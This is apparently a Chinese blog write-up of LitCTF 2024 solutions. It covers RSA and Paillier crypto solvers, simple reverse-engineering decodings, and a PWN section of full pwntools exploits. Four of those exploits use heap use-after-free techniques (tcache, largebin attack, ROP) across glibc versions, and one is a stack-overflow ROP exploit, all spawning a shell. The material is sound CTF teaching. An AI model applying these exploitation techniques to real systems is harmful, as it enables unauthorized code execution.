[LitCTF 2024 公开赛道] Crypto/PWN/Rev

DAS是打不动了,只能玩玩新生赛了。

Crypto

small_e

e=3对密文直接开3次方

m = [iroot(i,3)[0] for i in c_list]
bytes(m)
#b'LitCTF{you_know_m_equ4l_cub3_root_0f_n}'

common_primes

n1,n2有公共因子,用gcd求,再解RSA

>>> p = gcd(n1,n2)
>>> p
mpz(8245415071042639546782848182272251443480555745517775279882001098094205764408467067715468592824672653336996239366358203259611827449550378456941260886257597)
>>> q = n1//p
>>> d = invert(65537,(p-1)*(q-1))
>>> m = pow(c1,d,n1)
>>> long_to_bytes(m)
b'LitCTF{c0mmunity_w1th_two_ciphert3xt}'

CRT

先用中国剩余定理求出m**10再开根号

sage: m10 = crt(c_list,n_list)
sage: from gmpy2 import *
sage: from Crypto.Util.number import *
sage: m = iroot(m10,10)
sage: m
(mpz(479645460181558308273383365446579126853750879524994043421053), True)
sage: long_to_bytes(m[0])
b'LitCTF{CRT_i5_s0_e4sy!!!}'

little_fermat

p,q相差很小(可以费马分解),根据提示pow(666666, x, p) == 1,得到x=p-1

q = 11077890085511755979659110327492351475443062778113645284455542893506768080495929351346530156720969755021338935044545256776544338408890311881437358607694219
p = n//q
m = pow(c,invert(e,(p-1)*(q-1)),n)

long_to_bytes(int(m)^^(p-1))
#b'LitCTF{Y0u_know_littl3_ferm4t_th3ory}'

Polynomial

3个等式可用消元法求出值。

PR.<p,q,r> = PolynomialRing(ZZ)
f1 = p**2 + q - Polynomial1
f2 = q**2 + r - Polynomial2
f3 = r**2 + p - Polynomial3
h = f1.sylvester_matrix(f2, q).det()
h2 = h.sylvester_matrix(f3, r).det()
csp = h2.univariate_polynomial().monic().roots()
csp = [int(i[0]) for i in csp]

p = 7625900647186256736313352208336189136024613525845451962194744676052072325262646533642163553090015734584960267587813894745414843037111074258730819958397631
long_to_bytes(int(pow(c,invert(e,p-1),p)))

#LitCTF{P0lynomi4l_i5_inter3st1ng}

真·EasyRSA

n=p^4 可以求出p,然后解c1得到提示

再用提示为模对c2求RSA

p = iroot(n,4)[0]
d = invert(65537, p**3*(p-1))
long_to_bytes(int(pow(c1,d,n)))
#LitCTF{HeRe_1s_Weak_F1aG}hahahaha_____hint_is_93492332457019255141294502555555489582661562346262162342211605562996217352449
h = 93492332457019255141294502555555489582661562346262162342211605562996217352449
isPrime(h)
#1
long_to_bytes(pow(c2,invert(65537,h-1),h))
#b'LitCTF{R1ght_Answ3r!}'

small_e_plus

先爆破出e,再将字符乘幂作成字面,然后查字典得到flag

for e in range(1000,2000):
    if pow(ord('L'),e,n) == c_list[0]:
        break 

dic = [pow(i,e,n) for i in range(128)]
bytes([dic.index(i) for i in c_list])
#b'LitCTF{sometim3s_y0u_need_to_rever5e_your_m1nd}'

common_primes_plus

n1,n2有公因子,所以hint1,hint2也有公因子p

p = gcd(hint1,hint2)
long_to_bytes(pow(c, invert(e,p-1),p))
b'LitCTF{th1s_i5_a_adv4nced_c0mmon_prim3s}'

Polynomial_plus

p,q由k生成,可以直接求解,然后再解RSA

#sage
var('k')
p = k**10 + 22*k**8 + 53*k**6 - 22*k**4 - 39*k**2 + 114514
q = k**9 + 10*k**7 - 13*k**6 - 2*k**4 + 111*k**2 + 1919810
solve([p*q - n], [k])
k = 17327183749088974321

p = k**10 + 22*k**8 + 53*k**6 - 22*k**4 - 39*k**2 + 114514
long_to_bytes(int(pow(c, invert(65537,p-1), p)))
#b'LitCTF{Th1s_i5_a_trick_for_s0lving_polynomi4l}'

真·签到!!!

这题跟前边重了,只是数字不同,先爆破e,再生成字典,再查字典

for e in range(10**8):
    if pow(76,e,n) == c[0]:
        break 

dic = [pow(i,e,n) for i in range(128)]
bytes([dic.index(i) for i in c])

CRT_plus

e很小,可直接开根号,再除去因子

>>> iroot(C[0],5)
(mpz(1114835028310817285669171665036161960969336829214901199058977556784786378064849789), True)
>>> long_to_bytes(iroot(C[0],5)[0]//126)
b'LitCTF{Y0u_know_broadca5t_att4ck\x85'

男人,什么罐头我说!

很明显是2进制的ASCII码,然后解出是5个1组的培根码(01转AB)

01011 00000 01100 10100 00111 00000 10010 00010 00000 01100 01010 10001 00000 10110
ABABB AAAAA ABBAA BABAA AABBB AAAAA BAABA AAABA AAAAA ABBAA ABABA BAAAB AAAAA BABBA
培根
LitCTF{MANWHATCANLSAY}

mid

p缺少中间部分,400从点,可以直接用coppersmith法求解

PR.<x> = PolynomialRing(Zmod(n))
f = (leak1<<924)+leak2 +x*2^500
f.monic().small_roots(X=2^424,beta=0.4)

p = f(v[0])
long_to_bytes(int(pow(c,invert(e,int(p-1)),p)))
b'LitCTF{3b633bcc134c1d0f5c07ea7873f91c26}'

little_fermat_plus

与little_fermat很像,这p,q相近求出p(yafu),然后x=p-1,然后需要加模爆破一下

p = 13020096008592041728502941379320475635174025276449918470020161804469516198510912834732290273906913511909754142197503171935952441170521521729019672927534541
q = n//p 
mx = pow(c,invert(e,(p-1)*(q-1)),n)
x = p-1

for i in range(2**10+1):
    m = long_to_bytes(mx^(i*x))
    if b'LitCTF' in m:
        print(m)

#b'LitCTF{It_i5_little_f3rm4t_the0ry_extends}'

你是capper,还是copper?

P=p<<100直接给了p

>>> p = P>>100
>>> long_to_bytes(pow(c,invert(e,p-1),p))
b'LitCTF{wiener_@nd_c0pp3r}'

Pillier

从名字知道这是个Pillier加密,只有远端没有代码。知道是什么加密后边应该好办了,但是居然没作出来。后来看了下WP,K差一点。
Pillier加密有个特点,公钥是由N和g组成,并且一般情况下 g=N+1,而N和RSA一样是由p*q组成。另一特征是加密里引入随机数,这使得每次的密文会不同。
连接远端后得到公钥,c并且可以进行加解密操作。由于N只有256位,可以用yafu分解。也就可以求出m来。
不过每次连接m都不同,这就不清楚怎么回事了。后来看WP说提示flag超过32位,由于加密里N只有256位,也就是m>N,需要多次求CRT


def encrypt(pk, m):
    """ 使用公钥pk加密消息m, m < n """
    n, g = pk
    r = random.randint(1, n)  # 随机选择一个数r
    c = pow(g, m, n ** 2) * pow(r, n, n ** 2) % n ** 2
    return c 

def decrypt(pk, sk, c):
    """ 使用私钥sk解密密文c """
    n, g = pk
    lambda_val = sk
    # 计算 u = c^lambda mod n^2
    u = pow(c, lambda_val, n ** 2)
    # 计算 L(u)
    L_u = (u - 1) // n
    # 预先计算 L(g^lambda mod n^2) 的模逆元素
    L_g_lambda_inv = invert((pow(g, lambda_val, n ** 2) - 1) // n, n)
    # 还原原始消息
    return (L_u * L_g_lambda_inv) % n

N1,g = 79517101997270964688366165034515801912751657285675372726044700301308378369609,   79517101997270964688366165034515801912751657285675372726044700301308378369610
p,q = 278278481161095849774037196023030390309,285746499928747237420732398411991407701
L = lcm(p-1,q-1)
c = 0x48baba52269d903b7c994cd528da467787a88c37ef6cca70aeb90de257604fb645920f809e0fbc8caa00111a59375702576d473243d6b59d001acb7c6f257c30
m1 = decrypt((N1,g),L,c)
#53518905410717959757043366863388386993896907671864984888639148445832656508009

N2,g = 61850716526827954398139141888404704837865432858061399897695845884063182431803,61850716526827954398139141888404704837865432858061399897695845884063182431804
p,q = 233290783220006338617990723940764519109, 265122846574265420676116903245835533567
L = lcm(p-1,q-1)
c = 0x2fdc84dc7e8ccde04af2b4b60fc201aaf5ba61f4b32bd241df8dbdccab25047b3368aa42a555a9093a07379aa1898596862e4f62047fe7ecb2001956ca48fda0
m2 = decrypt((N2,g),L,c)
#11649162175608218595583963511534061028872326393897628352723558766553329496108

m = crt([m1,m2],[N1,N2])
bytes.fromhex(hex(m)[2:])
#b'Litctf{A235E5DF-0E8B-D361-D1D4-60F7E25345AA_this_is_Paillier!!!}'

PWN

heap-2.23

前4个堆题都是UAF漏洞,2.23PIE未开,将指针写到指针区,控制指针区后直接改got.free

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./heap2.23')
libc = ELF('./libc-2.23.so')

#p = process('./heap2.23')
p = remote('node3.anna.nssctf.cn', 28289)

def add(idx,size):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"idx? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"idx? ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendafter(b"content : \n", msg)
    
add(0,0x68)
add(1,0x68)

free(0)
free(1)
free(0)
add(2,0x68)
edit(2, p64(0x6020a0-3))
add(3,0x68)
add(4,0x68)
add(5,0x68)

edit(5, b'\0'*0x13 + flat(0x6020c8, elf.got['free'], 0x6020d8, b'/bin/sh\0'))
show(1)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']


edit(1,p64(libc.sym['system']))

free(2)
p.interactive()

heap-2.27

2.27直接用tcacheAttack写_free_hook

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./heap2.27')
libc = ELF('./libc-2.27.so')

#p = process('./heap2.27')
p = remote('node1.anna.nssctf.cn', 28303)

def add(idx,size):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"idx? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"idx? ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendafter(b"content : \n", msg)
    
add(0,0x430)
add(1,0x10)
add(2,0x10)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']

edit(2, p64(libc.sym['__free_hook']))
add(3, 0x10)
add(4, 0x10) #free_hook
edit(4, p64(libc.sym['system']))
edit(1, b'/bin/sh\0')
free(1)
p.interactive()

heap-2.31

与2.27基本相同

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./heap2.31')
libc = ELF('./libc-2.31.so')

#p = process('./heap2.31')
p = remote('node2.anna.nssctf.cn', 28864)

def add(idx,size):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"idx? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"idx? ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendafter(b"content : \n", msg)
    
add(0,0x430)
add(1,0x10)
add(2,0x10)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']

edit(2, p64(libc.sym['__free_hook']))
add(3, 0x10)
add(4, 0x10) #free_hook
edit(4, p64(libc.sym['system']))
edit(1, b'/bin/sh\0')
free(1)
p.interactive()

heap-2.35

2.35在fd加了key,没有free_hook,可先从environ得到栈地址,再将块建到栈得到加载地址,再控制指针区,向栈写ROP

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./heap2.35')
libc = ELF('./libc-2.35.so')

#p = process('./heap2.35')
p = remote('node1.anna.nssctf.cn', 28558)

def add(idx,size):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"idx? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"idx? ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendafter(b"content : \n", msg)
    
add(0,0x430)
add(1,0x40)
add(2,0x40)
free(0)
free(1)
free(2)
show(0)
p.recvuntil(b"content : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x21ace0
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))

show(1)
p.recvuntil(b"content : ")
heap = u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12

print(f"{libc.address = :x} {heap = :x}")

edit(2, p64((libc.sym['_environ'])^(heap>>12)))
add(3,0x40)
add(4,0x40)
show(4)
p.recvuntil(b"content : ")
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x148
print(f"{stack = :x}")

add(5, 0x60)
add(6, 0x60)
free(5)
free(6)
edit(6, p64((stack+0x20)^(heap>>12)))
add(7, 0x60)
add(8, 0x60)

edit(8, b'A'*0x18)
show(8)
p.recvuntil(b"content : ")
elf.address = u64(p.recvline()[0x18:-1].ljust(8, b'\x00')) - 0x17a1
ptr = elf.address + 0x4060
print(f"{ptr = :x}")

add(9,0x50)
add(10,0x50)
free(9)
free(10)
edit(10, p64((ptr)^(heap>>12)))
add(11, 0x50)
add(12, 0x50)

edit(12, p64(stack+8))
edit(0, flat(pop_rdi+1, pop_rdi,bin_sh, libc.sym['system']))

p.interactive()

heap-2.39

这个也是后来弄出来的。其实一直想的这个思路没有错,只是有些限制。
对于高版本libc来说一般用apple打结构。但我想用更直接的方法:写ROP。在2.35上来行,卡点不多,在2.39卡住了。主要是因为tcache建块时有些限制,特别是在栈里的时候。测试几次后猜是1到尾对齐,2是要+8处为0
所以这题的思路:
1,用largebin attack修改mp_.tcache_max_bins,使得大块也进行tcache以便进行tcache攻击。
2,在environ前建块泄露栈地址。
3,在栈里找libc_start_main后边start前的位置,这里可以建成块,泄露程序加载地址,有了这个地址就可以控制ptr
4,控制ptr后直接向edit的返回地址写ROP。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.39.so')

p = process('./heap2.39')

def add(idx, size):
    p.sendlineafter(b">>", b'1')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendlineafter(b"size? ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>", b'2')
    p.sendlineafter(b"idx? ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>", b'3')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.recvuntil(b"content : ")

def edit(idx, msg):
    p.sendlineafter(b">>", b'4')
    p.sendlineafter(b"idx? ", str(idx).encode())
    p.sendafter(b"content : \n", msg)

add(0xf, 0x410) #当大块也进行tcache时,指针会落在这里,直接修改指针即可建块。
#largebin attach mp_.tcache_max_bins 
add(0, 0x520)
add(1, 0x500)
add(2, 0x500)
free(0)
add(3, 0x540)
free(2)     #0 large, 2 unsort 归位的稍大块largein和未归位的稍小块unsort
show(0)
large = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = large - 0x203f50
print(f"{libc.address = :x}")
edit(0, b'A'*0x10)
show(0)
heap = u64(p.recvline()[0x10:-1].ljust(8, b'\x00'))
print(f"{heap = :x}")
edit(0, p64(large)*2 + p64(0) + p64(libc.sym['obstack_exit_failure'] - 0x20 - 0x20))
add(4,0x550) #建更大块,使unsort也归位到large与前块重链时次2块地址写到0块的next_bk指向的位置,实现攻击。

#1,environ得到栈地址
#2,在栈内后部找到有elf地址的位置建块得到加载地址
#3,在ptr指针前建块控制指针
#4,利用指针任意地址写在栈上写ROP
free(3) #0x540+0x10
free(4) #0x550+0x10
#0x55555555b0b0: 0x0001000000000000      0x0000000000000001
#0x55555555b320: 0x0000000000000000      0x000055555555c610
#0x55555555b330: 0x000055555555cb60      0x0000000000000000
#修改tcache里的指针,直接将块建到environ (需要对齐,和调整位置)
edit(0xf, p64(0)*17 + p64(libc.sym['_environ']-0x18))
add(5, 0x540)
edit(5, b'A'*0x18)
show(5)
stack = u64(p.recvline()[0x18:-1].ljust(8, b'\x00'))  #edit_ret = stack - 0x150
print(f"{stack = :x}")

#在栈内找适当位置,泄露加载地址
edit(0xf, p64(0)*18 + p64(stack - 0x58))
add(6, 0x550)
show(6)
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x1160
print(f"{elf.address = :x}")

#将块建到指针区,控制指针
ptr = elf.address + 0x4060
add(7,0x560)
free(7)
edit(0xf, p64(0)*19 + p64(ptr - 0x10))
add(8, 0x560)

pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
edit(8, flat(0,0, stack-0x150)) #将0块指针改为edit的返回地址
edit(0, flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])) #在edit时将ROP写到栈

p.interactive()

ATM

菜单3代码分将指针写到nbytes里(可能形成负数,不是每次都成功,如果随机地址未开的话恰好总不成功),钱数变多造成溢出,写ROP

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.35.so')
elf = ELF('./app')

#p = process('./app')
p = remote('node3.anna.nssctf.cn', 28553)

p.sendafter(b'password:\n', b'A')

#gdb.attach(p, "b*0x40140b\nc")

p.sendlineafter(b'4.Exit\n', b'3')
p.sendafter(b"Please enter your deposit:", b'888\x00')

p.sendlineafter(b'4.Exit\n', b'1')

p.sendlineafter(b"4.Exit\n", b'5')
p.recvuntil(b"gift:")
libc_base = int(p.recvline(),16) - 0x60770
print(f"{libc_base = :x}")

pop_rdi = 0x401233
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
bin_sh = libc_base + 0x1d8698
system = libc_base + 0x50d60
bss = 0x404800
pay = b'A'*0x168 + flat(pop_rdi+1, pop_rdi, bin_sh, system)
#pay = b'A'*0x168 + flat(pop_rdi, libc_base + 0x1dc680+0x30, elf.plt['puts']) #-0ubuntu3.3) stable release version 2.35.
p.send(pay)

p.sendlineafter(b"4.Exit\n", b'4')
p.interactive()

REV

编码喵

在原码里找到密文:tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0=

和变列base64的码表:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/

用厨子解客密:LitCTF{03034ed8-a2da-4aa6-b2c9-01ace9e26301}

hello_upx

用010将upx改成大写,然后反编译,加密方法是加序号

a = 0x707541504072684C
b = 0x655158612559632B
c = 0x4F5E4E601E5A4E20
d = p64(a)+p64(b)+p64(c)
e = [i+d[i] for i in range(24)]
bytes(e)
#LitCTF{w3lc0me_t0_l1tctf

ezrc4

SMC分修改密钥,这个RC4没有改,拿到密钥可直接解密

c = bytes.fromhex('d5b27cdc90a26e600613e47159b09031b2c71dd7')
key = b'fenkey?'
key1 = b'\x0a\x0c\x1a\x08\x11\x1f\x1e'
xor(key,key1)
#b'litctf!'
LitCTF{rc4_love_nice}

ezpython

队友整的,先用pyinstxtractor.py解开包,然后到在线网站上解码。就是个变表base64,变表base64函数在Litctfbase64里,这包里能找到。拿到表和密文找厨子即可。

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值